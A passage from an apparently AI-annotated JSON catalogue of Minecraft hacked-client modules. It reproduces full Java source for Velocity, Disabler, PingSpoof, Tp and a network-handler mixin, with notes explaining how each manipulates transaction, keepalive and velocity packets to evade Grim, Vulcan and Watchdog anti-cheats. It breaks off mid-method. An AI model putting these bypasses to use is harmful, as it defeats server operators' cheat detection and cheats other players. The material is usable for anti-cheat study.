      "how_it_works": "On EventPacket.In, an S12 aimed at the player is cancelled (CANCEL, GRIM, VULCAN) or scaled (REDUCE, REVERSE); under GRIM the following S32PacketConfirmTransaction is cancelled too and its action number is queued. The EventPacket.Out handler then matches every outgoing C0F uid against that queue and cancels the echo when the uid was queued, so the transaction is consumed client-side. VULCAN mode instead cancels one C0F per velocity hit while the funny flag is set. WATCHDOG_SAFE cancels S12 and folds the vertical motion into motionY only while on the ground.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/VelocityModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"Velocity\",\n  description = \"Reduces or cancels out taken velocity\",\n  category = Category.COMBAT\n)\npublic class VelocityModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.CANCEL);\n\n  private final Setting<Float> horizontal = new Setting<>(\n    () -> mode.getValue() == Mode.REDUCE || mode.getValue() == Mode.REVERSE,\n    \"Horizontal\",\n    50.0f,\n    0.01f,\n    0.0f,\n    200.0f\n  );\n  private final Setting<Float> vertical = new Setting<>(\n    () -> mode.getValue() == Mode.REDUCE || mode.getValue() == Mode.REVERSE,\n    \"Vertical\",\n    50.0f,\n    0.01f,\n    0.0f,\n    200.0f\n  );\n\n  private final Queue<Short> transactionQueue = new ConcurrentLinkedQueue<>();\n  private boolean funny;\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    funny = false;\n    transactionQueue.clear();\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mode.getValue() == Mode.GRIM) {\n      // finish trolling\n      if (transactionQueue.isEmpty() && funny) funny = false;\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mc.thePlayer == null || mc.theWorld == null) {\n      // basic resets\n      funny = false;\n      if (!transactionQueue.isEmpty()) transactionQueue.clear();\n\n      return;\n    }\n\n    if (event.get() instanceof S12PacketEntityVelocity packet) {\n      if (packet.getEntityID() != mc.thePlayer.getEntityId()) return;\n\n      switch (mode.getValue()) {\n        case REDUCE, REVERSE -> {\n          packet.setMotionX(\n            (int) (packet.getMotionX() * (horizontal.getValue() / 100.0f))\n          );\n          packet.setMotionY(\n            (int) (packet.getMotionY() * (vertical.getValue() / 100.0f))\n          );\n          packet.setMotionZ(\n            (int) (packet.getMotionZ() * (horizontal.getValue() / 100.0f))\n          );\n\n          if (mode.getValue() == Mode.REVERSE) {\n            packet.setMotionX(-packet.getMotionX());\n            packet.setMotionY(-packet.getMotionY());\n            packet.setMotionZ(-packet.getMotionZ());\n          }\n        }\n        case CANCEL, GRIM, VULCAN -> {\n          event.setCanceled(true);\n          if (\n            mode.getValue() == Mode.GRIM || mode.getValue() == Mode.VULCAN\n          ) funny = true;\n        }\n        case INTAVE -> {\n          // TODO: i have no clue\n        }\n        case WATCHDOG -> {\n          // TODO: frappy or plus add this i dont have alts\n        }\n        case WATCHDOG_SAFE -> {\n          event.setCanceled(true);\n\n          if (mc.thePlayer.onGround) {\n            // as far as im aware, this should work\n            mc.thePlayer.motionY += (double) packet.getMotionY() / 8000.0;\n          }\n        }\n      }\n    } else if (event.get() instanceof S32PacketConfirmTransaction packet) {\n      if (mode.getValue() == Mode.GRIM) {\n        if (!funny) return;\n        event.setCanceled(true);\n        transactionQueue.add(packet.getActionNumber());\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C0FPacketConfirmTransaction packet) {\n      if (mode.getValue() == Mode.GRIM) {\n        if (!funny || transactionQueue.isEmpty()) return;\n\n        // if the queue contains our transaction UID, cancel\n        if (transactionQueue.remove(packet.getUid())) event.setCanceled(true);\n      } else if (mode.getValue() == Mode.VULCAN) {\n        // this works on older versions of vulcan\n        if (funny) {\n          event.setCanceled(true);\n          funny = false;\n        }\n      }\n    }\n  };\n\n  private enum Mode {\n    REDUCE,\n    REVERSE,\n    CANCEL,\n    GRIM,\n    INTAVE,\n    VULCAN,\n    WATCHDOG,\n    WATCHDOG_SAFE,\n  }\n}\n// NOTE (AI): The full Velocity module: eight modes over S12, with GRIM and VULCAN crossing into C0F territory. GRIM cancels the S32 confirm for the removed velocity, queues its action number, and later cancels the outgoing C0F whose uid matches the queue, consuming the transaction client-side. VULCAN cancels one C0F per hit while the funny flag is set. WATCHDOG_SAFE and INTAVE are stubs with TODO comments.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/VelocityModule.java",
      "vanilla_hook": "EventPacket.In (S12 and S32), EventPacket.Out (C0F), EventUpdate (GRIM queue drain check).",
      "anti_cheat_notes": "The uid-matched C0F cancel is precise: only the transaction tied to the removed velocity is dropped, so the container state stays in sync, which is the difference from blanket C0F cancellation.",
      "variations": "November's approach mirrors Rise 6.2.4 VulcanVelocity (alternating uid spoof) but cancels the echo outright; the GRIM mode's transactionQueue is unique to this client in the corpus."
     },
     {
      "name": "Disabler (transaction buffer)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Watchdog-style disabler that parks outgoing C0F and C00 packets in queues, then flushes C0F in small randomized batches so the server's transaction clock lags without the connection dying.",
      "how_it_works": "The PacketEvent handler intercepts every C0F not already queued: when the uid digit count is 3 and the disabler is not yet armed it arms (abc = true), clears the queue, and starts the flush cycle; once armed it counts uid digits and, when fewer than 10 transactions have been flushed but the uid grew past 3 digits, flushes the whole queue early. Flushes release 3 to 9 random packets per cycle (or the full queue when the delay is even or divisible by 3 and the queue exceeds 100 entries) through NetworkManager.sendPacket. C00 keepalives get their own queue and are released on a separate timer, and every 155 ticks a C14 tab-complete with a huge random number is fired as a keepalive substitute.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/Disabler.java =====\npackage me.AquaVit.liquidSense.modules.misc;\n\nimport me.AquaVit.liquidSense.API.MathUtils;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.network.INetHandler;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.MathHelper;\n\nimport java.util.*;\n\n@ModuleInfo(name = \"Disabler\", description = \"test\", category = ModuleCategory.MISC)\npublic class Disabler extends Module {\n    private final IntegerValue c0fBaseDelay = new IntegerValue(\"C0F-Base\", 1500, 100, 2500);\n    private final IntegerValue c0fRandomDelay = new IntegerValue(\"C0F-Random\", 50, 0, 1000);\n    private final IntegerValue c00BaseDelay = new IntegerValue(\"C00-Base\", 750, 100, 2500);\n    private final IntegerValue c00RandomDelay = new IntegerValue(\"C00-Random\", 20, 0, 1000);\n\n    private final Queue<C0FPacketConfirmTransaction> c0fList = new LinkedList<>();\n    private final Queue<C00PacketKeepAlive> c00List = new LinkedList<>();\n    //budget but maybe its working\n\n    private final MSTimer timer = new MSTimer(), timer1 = new MSTimer();\n    public boolean abc, working;\n    private int keepAliveId, delay, all;\n\n    private final Random random = new Random();\n\n    @Override\n    public void onDisable() {\n        super.onDisable();\n        abc = working = false;\n        c0fList.clear();\n        c00List.clear();\n        while (!c0fList.isEmpty())\n            mc.thePlayer.sendQueue.addToSendQueue(c0fList.poll());\n\n        while (!c00List.isEmpty())\n            mc.thePlayer.sendQueue.addToSendQueue(c00List.poll());\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent e) {\n        if (mc.isSingleplayer())\n            working = true;\n\n        if (mc.thePlayer.ticksExisted <= 1) {\n            abc = working = false;\n            c0fList.clear();\n            c00List.clear();\n            all = 0;\n        }\n\n        if (abc && timer.hasTimePassed(delay)) {\n            int count = 0, total = (delay % 2 == 0 || delay % 3 == 0) && c0fList.size() > 100 ? c0fList.size() : MathHelper.getRandomIntegerInRange(random, 3, 9);\n            synchronized (c0fList) {\n                while (!c0fList.isEmpty() && count < total) {\n                    C0FPacketConfirmTransaction packet = c0fList.peek();\n                    if (packet == null)\n                        break;\n                    mc.getNetHandler().getNetworkManager().sendPacket(packet);\n                    c0fList.remove(packet);\n                    count++;\n                }\n            }\n\n            C00PacketKeepAlive packetKeepAlive = new C00PacketKeepAlive(keepAliveId++);\n            synchronized (c00List)  {\n                c00List.add(packetKeepAlive);\n                mc.getNetHandler().getNetworkManager().sendPacket(packetKeepAlive);\n                c00List.remove(packetKeepAlive);\n            }\n\n            all += count;\n            if (!working) {\n                working = true;\n                mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" +LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"Watchdoge left the game!\"));\n            }\n            delay = MathHelper.getRandomIntegerInRange(random, c0fBaseDelay.get(), c0fBaseDelay.get() + c0fRandomDelay.get());\n            timer.reset();\n        }\n\n        if (timer1.hasTimePassed(MathHelper.getRandomIntegerInRange(random, c00BaseDelay.get(), c00BaseDelay.get() + c00RandomDelay.get()))) {\n            synchronized (c00List) {\n                C00PacketKeepAlive packet = c00List.peek();\n                if (packet != null) {\n                    if (!abc)\n                        keepAliveId = packet.getKey();\n                    mc.getNetHandler().getNetworkManager().sendPacket(packet);\n                    c00List.remove(packet);\n                    timer1.reset();\n                }\n            }\n        }\n\n        if (abc && mc.thePlayer.ticksExisted % 155 == 0)\n            mc.getNetHandler().getNetworkManager().sendPacket(new C14PacketTabComplete(\"/\" + MathHelper.getRandomDoubleInRange(random, 10e19, 10e20)));\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent e) {\n        if (e.getPacket() instanceof C00PacketKeepAlive && !c00List.contains(e.getPacket())) {\n            c00List.add((C00PacketKeepAlive) e.getPacket());\n            e.cancelEvent();\n        }\n\n        if (e.getPacket() instanceof C0FPacketConfirmTransaction && !c0fList.contains(e.getPacket())) {\n            int count = (\"\" + Math.abs(((C0FPacketConfirmTransaction) e.getPacket()).getUid())).length();\n            if (!abc && count == 3) {\n                abc = true;\n                c0fList.clear();\n                timer.reset();\n                c0fList.add((C0FPacketConfirmTransaction) e.getPacket());\n                e.cancelEvent();\n            } else if (abc) {\n                if (all < 10 && count > 3) {\n                    while (!c0fList.isEmpty())\n                        mc.getNetHandler().getNetworkManager().sendPacket(c0fList.poll());\n                    timer.reset();\n                    return;\n                }\n                c0fList.add((C0FPacketConfirmTransaction) e.getPacket());\n                e.cancelEvent();\n            }\n        }\n    }\n}\n// NOTE (AI): The full LiquidSense disabler: C0F and C00 are parked in queues, C0F is flushed in randomized 3-9 packet batches gated by the abc arm flag, the uid-digit length is used to detect the Watchdog session start, and the C14 tab-complete spam every 155 ticks substitutes for keepalives. The onDisable drain replays everything through the send queue.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/Disabler.java",
      "vanilla_hook": "PacketEvent (park), UpdateEvent (flush timers).",
      "anti_cheat_notes": "The uid-digit heuristic (3 digits arms, growth past 3 flushes early) is a fingerprint of this Watchdog bypass; the randomized batch size and the C14 spam are designed to make the gap pattern look like lag.",
      "variations": "Unlike Memeware's forged-uid disabler and November's uid rewrite, LiquidSense's variant buffers real packets and replays them; the C00 and C0F dual queue mirrors the Rise PingSpoofComponent park pattern."
     },
     {
      "name": "PingSpoof (LiquidBounce)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Inflate measured ping by parking C0F and C00 in a timestamped map and releasing them after a random delay.",
      "how_it_works": "PacketEvent cancels any C0F or C00 while the player is alive and not already parked, storing release time = now + randomDelay(min, max). UpdateEvent with ignoreCondition (so it runs while the module is off) sweeps the map and re-queues entries whose timestamp passed via addToSendQueue. The min and max delay settings clamp each other on change.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.utils.misc.RandomUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.server.S27PacketExplosion;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\n\n@ModuleInfo(name = \"PingSpoof\", description = \"Spoofs your ping to a given value.\", category = ModuleCategory.EXPLOIT)\npublic class PingSpoof extends Module {\n\tprivate final IntegerValue maxDelayValue = new IntegerValue(\"MaxDelay\", 1000, 0, 5000) {\n\t\t@Override\n\t\tprotected void onChanged(final Integer oldValue, final Integer newValue) {\n\t\t\tfinal int minDelayValue = PingSpoof.this.minDelayValue.get();\n\n\t\t\tif(minDelayValue > newValue)\n\t\t\t\tset(minDelayValue);\n\t\t}\n\t};\n\n\tprivate final IntegerValue minDelayValue = new IntegerValue(\"MinDelay\", 500, 0, 5000) {\n\n\t\t@Override\n\t\tprotected void onChanged(final Integer oldValue, final Integer newValue) {\n\t\t\tfinal int maxDelayValue = PingSpoof.this.maxDelayValue.get();\n\n\t\t\tif(maxDelayValue < newValue)\n\t\t\t\tset(maxDelayValue);\n\t\t}\n\t};\n\n\tprivate final HashMap<Packet<?>, Long> packetsMap = new HashMap<>();\n\n\t@Override\n\tpublic void onDisable() {\n\t\tpacketsMap.clear();\n\t}\n\n\t@EventTarget\n\tpublic void onPacket(final PacketEvent event) {\n\t\tfinal Packet packet = event.getPacket();\n\n\t\tif ((packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) && !(mc.thePlayer.isDead || mc.thePlayer.getHealth() <= 0) && !packetsMap.containsKey(packet)) {\n\n\t\t\tsynchronized(packetsMap) {\n\t\t\t\tpacketsMap.put(packet, System.currentTimeMillis() + TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()));\n\t\t\t}\n\t\t\tevent.cancelEvent();\n\t\t}\n\t}\n\n\t@EventTarget(ignoreCondition = true)\n\tpublic void onUpdate(final UpdateEvent event) {\n\t\ttry {\n\t\t\tsynchronized(packetsMap) {\n\t\t\t\tfor(final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetsMap.entrySet().iterator(); iterator.hasNext(); ) {\n\t\t\t\t\tfinal Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n\t\t\t\t\tif(entry.getValue() < System.currentTimeMillis()) {\n\t\t\t\t\t\tmc.getNetHandler().addToSendQueue(entry.getKey());\n\t\t\t\t\t\titerator.remove();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}catch(final Throwable t) {\n\t\t\tt.printStackTrace();\n\t\t}\n\t}\n}\n// NOTE (AI): The full LiquidBounce PingSpoof: C0F and C00 are parked in a HashMap with release timestamps drawn from a random min-max delay, and the ignoreCondition update handler flushes expired entries even while the module is off. The min/max settings clamp each other on change.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.java",
      "vanilla_hook": "PacketEvent (park), UpdateEvent (release sweep).",
      "anti_cheat_notes": "Releasing C0F and C00 together keeps the two gap series consistent, the same trade-off documented for Rise's PingSpoofComponent; the random per-packet delay makes the offset look like jitter.",
      "variations": "The LiquidBounce classic module predates the Rise component approach: a HashMap keyed by packet identity plus a random delay, versus Rise's timed queue; the ignoreCondition update handler is the LiquidBounce idiom for running while disabled."
     },
     {
      "name": "Tp / LastestHypixelFly (transaction sentinel)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Forge a C0F(0, -1, false) echo on enable as the first step of the Hypixel teleport and flight rigs, desynchronizing the server's transaction expectation before the C04 teleport hops.",
      "how_it_works": "Both modules queue new C0FPacketConfirmTransaction(0, (short)(-1), false) through addToSendQueue immediately on enable, right before the C13 ability declaration and the two C04 position hops at y+0.17 and y+0.06. The forged uid -1 cannot match any pending server action, so the echo is silently dropped by the vanilla handler while the movement packets that follow do the real work.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/world/Tp.java =====\npackage me.AquaVit.liquidSense.modules.world;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.MoveEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.TickEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.CustomVec3;\nimport net.ccbluex.liquidbounce.utils.PathfindingUtils;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\nimport static net.ccbluex.liquidbounce.utils.MovementUtils.getMaxFallDist;\n\n@ModuleInfo(name = \"Tp\",description = \"Allows you to teleport around.\", category = ModuleCategory.WORLD,array = false)\npublic class Tp extends Module {\n    public static float x;\n    public static float y;\n    public static float z;\n    boolean tp;\n\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer == null)\n            return;\n        tp = false;\n        ClientUtils.displayChatMessage(\"Wait For Server LagBack\");\n        PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n        playerCapabilities.isFlying = true;\n        mc.getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(0, (short)(-1), false));\n        mc.getNetHandler().addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.17, mc.thePlayer.posZ, true));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.06, mc.thePlayer.posZ, true));\n        mc.thePlayer.stepHeight = 0.0f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @Override\n    public void onDisable() {\n        mc.timer.timerSpeed = 1.0f;\n        mc.thePlayer.stepHeight = 0.625f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @EventTarget\n    public void onTick(TickEvent event) {\n        if (tp) {\n            double offset = 0.060100000351667404;\n            NetHandlerPlayClient netHandler = mc.getNetHandler();\n            EntityPlayerSP player = mc.thePlayer;\n            double x2 = player.posX;\n            double y2 = player.posY;\n            double z2 = player.posZ;\n            int i = 0;\n            while (i < getMaxFallDist() / 0.05510000046342611 + 1.0) {\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 0.060100000351667404, z2, false));\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 5.000000237487257E-4, z2, false));\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 0.004999999888241291 + 6.01000003516674E-8, z2, false));\n                ++i;\n            }\n            netHandler.addToSendQueue(new C03PacketPlayer(true));\n            mc.getNetHandler().addToSendQueue(new C0CPacketInput(0.0f, 0.0f, true, true));\n            double lastY = mc.thePlayer.posY, downY = 0;\n            for (CustomVec3 vec3 : PathfindingUtils.computePath(\n                    new CustomVec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ),\n                    new CustomVec3(x, y, z))) {\n                if (vec3.getY() < lastY) {\n                    downY += (lastY - vec3.getY());\n                }\n                if (downY > 2.5) {\n                    downY = 0;\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec3.getX(),\n                            vec3.getY(), vec3.getZ(), true));\n                } else {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec3.getX(),\n                            vec3.getY(), vec3.getZ(), false));\n                }\n                lastY = vec3.getY();\n            }\n            //Teleported\n            mc.thePlayer.setPosition(x, y, z);\n            this.setState(false);\n        }\n    }\n\n\n    @EventTarget\n    public void onMove(MoveEvent e) {\n        if (!tp) {\n            e.cancelEvent();\n        }\n    }\n    @EventTarget\n    public final void onSendPacket(PacketEvent event) {\n        if (!tp && event.getPacket() instanceof C03PacketPlayer) {\n            event.cancelEvent();\n        }\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            if (!this.tp) {\n                this.tp = true;\n                ClientUtils.displayChatMessage(\"Start TelePort\");\n            }\n        }\n    }\n}\n// NOTE (AI): The full Tp module: on enable it declares isFlying with C13, forges the C0F(0, -1, false) sentinel, and hops two C04 packets, then waits for the S08 go signal to walk the pathfinding route with fall-distance C04 hops and a C0C input. The transaction sentinel at the top of onEnable is the corpus hit.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/world/Tp.java",
      "vanilla_hook": "onEnable direct send queue.",
      "anti_cheat_notes": "The uid -1 with accepted=false is a fingerprint shared by the AquaVit teleport family; it is harmless against vanilla (a wrong uid is ignored) and aimed at anti-cheat transaction tracking that expects a continuous echo stream.",
      "variations": "Tp.java and LastestHypixelFly.java carry identical sentinels; TeleportCommand (the chat command twin) skips the C0F but spams C13 per path node instead, covered in the C13 writeup."
     },
     {
      "name": "MixinNetHandlerPlayClient (transaction echo)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Overwrite the vanilla S32 handler so the C0F echo always runs on the client thread and goes through LiquidSense's modified send queue.",
      "how_it_works": "The @Overwrite handleConfirmTransaction re-implements NetHandlerPlayClient's logic: resolve the container for window 0 or the open container, and when the server did not accept, queue C0F(windowId, actionNumber, true). Because the mixin replaces the vanilla method, the echo is emitted even when other event handlers cancel packets, keeping the inventory state machine alive. The same mixin forces the MC|Brand C17 on join and fires EntityMovementEvent from S14 handling, and its addToSendQueue injection raises PacketSenEvent for every outgoing packet.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EntityMovementEvent;\nimport net.ccbluex.liquidbounce.event.PacketSenEvent;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.special.AntiForge;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.minecraft.client.ClientBrandRetriever;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.multiplayer.WorldClient;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.network.*;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S01PacketJoinGame;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\nimport net.minecraft.world.WorldSettings;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\n@Mixin(NetHandlerPlayClient.class)\npublic abstract class MixinNetHandlerPlayClient {\n\n    @Shadow\n    @Final\n    private NetworkManager netManager;\n\n    @Shadow\n    private Minecraft gameController;\n\n    @Shadow\n    private WorldClient clientWorldController;\n\n    @Shadow\n    public int currentServerMaxPlayers;\n\n    @Inject(method = \"handleResourcePack\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleResourcePack(final S48PacketResourcePackSend p_handleResourcePack_1_, final CallbackInfo callbackInfo) {\n        final String url = p_handleResourcePack_1_.getURL();\n        final String hash = p_handleResourcePack_1_.getHash();\n\n        try {\n            final String scheme = new URI(url).getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if(!\"http\".equals(scheme) && !\"https\".equals(scheme) && !isLevelProtocol)\n                throw new URISyntaxException(url, \"Wrong protocol\");\n\n            if(isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\")))\n                throw new URISyntaxException(url, \"Invalid levelstorage resourcepack path\");\n        }catch(final URISyntaxException e) {\n            ClientUtils.getLogger().error(\"Failed to handle resource pack\", e);\n            netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            callbackInfo.cancel();\n        }\n    }\n\n    @Inject(method = \"handleJoinGame\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleJoinGameWithAntiForge(S01PacketJoinGame packetIn, final CallbackInfo callbackInfo) {\n        if(!AntiForge.enabled || !AntiForge.blockFML || Minecraft.getMinecraft().isIntegratedServerRunning())\n            return;\n\n        PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, gameController);\n        this.gameController.playerController = new PlayerControllerMP(gameController, (NetHandlerPlayClient) (Object) this);\n        this.clientWorldController = new WorldClient((NetHandlerPlayClient) (Object) this, new WorldSettings(0L, packetIn.getGameType(), false, packetIn.isHardcoreMode(), packetIn.getWorldType()), packetIn.getDimension(), packetIn.getDifficulty(), this.gameController.mcProfiler);\n        this.gameController.gameSettings.difficulty = packetIn.getDifficulty();\n        this.gameController.loadWorld(this.clientWorldController);\n        this.gameController.thePlayer.dimension = packetIn.getDimension();\n        this.gameController.displayGuiScreen(new GuiDownloadTerrain((NetHandlerPlayClient) (Object) this));\n        this.gameController.thePlayer.setEntityId(packetIn.getEntityId());\n        this.currentServerMaxPlayers = packetIn.getMaxPlayers();\n        this.gameController.thePlayer.setReducedDebug(packetIn.isReducedDebugInfo());\n        this.gameController.playerController.setGameType(packetIn.getGameType());\n        this.gameController.gameSettings.sendSettingsToServer();\n        this.netManager.sendPacket(new C17PacketCustomPayload(\"MC|Brand\", (new PacketBuffer(Unpooled.buffer())).writeString(ClientBrandRetriever.getClientModName())));\n        callbackInfo.cancel();\n    }\n\n    @Inject(method = \"handleEntityMovement\", at = @At(value = \"FIELD\", target = \"Lnet/minecraft/entity/Entity;onGround:Z\"))\n    private void handleEntityMovementEvent(S14PacketEntity packetIn, final CallbackInfo callbackInfo) {\n        final Entity entity = packetIn.getEntity(this.clientWorldController);\n\n        if(entity != null)\n            LiquidBounce.eventManager.callEvent(new EntityMovementEvent(entity));\n    }\n\n    @Inject(method = \"addToSendQueue\", at = @At(\"HEAD\"), cancellable = true)\n    private void senpacket(Packet<?> packet, final CallbackInfo callbackInfo) {\n        final PacketSenEvent event = new PacketSenEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n        if (event.isCancelled()) {\n            callbackInfo.cancel();\n        }\n    }\n    @Overwrite\n    public void handleConfirmTransaction(S32PacketConfirmTransaction 